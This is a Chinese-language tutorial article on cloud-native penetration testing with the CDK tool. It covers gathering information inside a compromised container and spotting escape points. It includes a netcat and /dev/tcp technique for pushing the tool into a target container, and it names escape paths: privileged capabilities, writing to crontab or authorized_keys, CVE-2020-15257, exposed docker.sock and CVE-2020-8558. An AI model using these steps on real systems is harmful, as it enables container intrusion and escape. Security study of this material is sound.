【云原生渗透】- CDK工具介绍与使用及容器信息搜集
微信公众号:信安文摘
前言
CDK(Container DucK)是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。
项目地址: https:// github.com/cdk-team/CDK /wiki/CDK-Home-CN
CDK功能介绍
CDK包括三个功能模块:
- Evaluate: 容器内部信息收集,以发现潜在的弱点便于后续利用。
- Exploit: 提供容器逃逸、持久化、横向移动等利用方式。
- Tool: 修复渗透过程中常用的linux命令以及与Docker/K8s API交互的命令。
将CDK投递到目标容器中的技巧
容器环境往往比较简单,很多情况下没有
wget
、
curl
、
nc
等命令。我们可以使用以下方法将CDK投递到目标容器。
# 远程vps
nc -lvp 999 < cdk
# 目标容器
cat < /dev/tcp/(你的IP)/(端口) > cdk
chmod a+x cdk
快速使用
# 在容器内部进行信息搜集,寻找可用的逃逸点
cdk evaluate
# --full参数,包含本地文件扫描功能
cdk evaluate --full
evaluate 容器信息搜集
1. 本地信息 - OS基本信息
直接获取容器内的用户、内核、OS信息。
运行使用时第一步获取的就是OS的基本信息:
cdk evaluate
结果显示如下:
2. 本地信息 - 可用的Linux命令和Capabilities(探测特权容器)
检测容器内可用的linux命令以及linux capabilities,其中常用的linux命令如apt/yum, curl, wget, nc, python等会方便后续渗透流程,此外capabilities可以用于判断容器是否为
特权容器
,某些敏感的capabilities如
CAP_SYSADMIN
,
CAP_NETADMIN
,
CAP_PTRACE
等也可用来进行容器逃逸。
cdk evaluate
如果是以特权模式启动的话,
CapEff
对应的掩码值应该为
0000003fffffffff
3. 本地信息 - 容器挂载情况
检查挂载到当前容器内的目录和文件,一些挂载到容器内部的敏感目录如/etc,/root等可以提供逃逸机会,如将恶意代码写入
/etc/crontab
或
/root/.ssh/authorized_keys
。
cdk evaluate
利用:
Procfs目录挂载逃逸
https:// github.com/cdk-team/CDK /wiki/Exploit:-mount-procfs
后续会详细介绍该漏洞利用情况。
4. 本地信息 - 网络namespace隔离情况
判断容器是否与宿主机共享Net Namespace, 如果docker以
--net=host
启动且containerd-shim存在虚拟unix socket时,可通过
CVE-2020-15257
进行逃逸。
cdk evaluate
利用:
containerd-shim CVE-2020-15257
https:// github.com/cdk-team/CDK /wiki/Exploit:-shim-pwn
后续会详细介绍该漏洞利用情况。
5. 本地信息 - 容器环境变量和敏感进程服务
从
ENV
和
进程信息
中提取容器内的敏感服务,如
python
,
ssh
等,便于部署后续逃逸/持久化攻击。
cdk evaluate
6. 本地信息 - 敏感目录及文件
进行全盘路径扫描,在路径中匹配敏感词来识别敏感文件,识别到的敏感文件如 docker.sock, .git, .kube 等将对后续渗透带来帮助。
cdk evaluate --full
如果识别到
docker.sock
文件,可以尝试使用
./cdk run docker-sock-check <sock-path>
来检查API是否可用,具体参考:
https://
github.com/cdk-team/CDK
/wiki/Exploit:-docker-sock-check
7. 本地信息 - kube-proxy边界绕过(CVE-2020-8558) net.ipv4.conf.all.route_localnet
利用该漏洞(CVE-2020-8558),可以访问 当前K8S节点 或 其他节点 (node)上所监听的Localhost端口
POC: https:// github.com/tabbysable/P OC-2020-8558
./cdk evaluate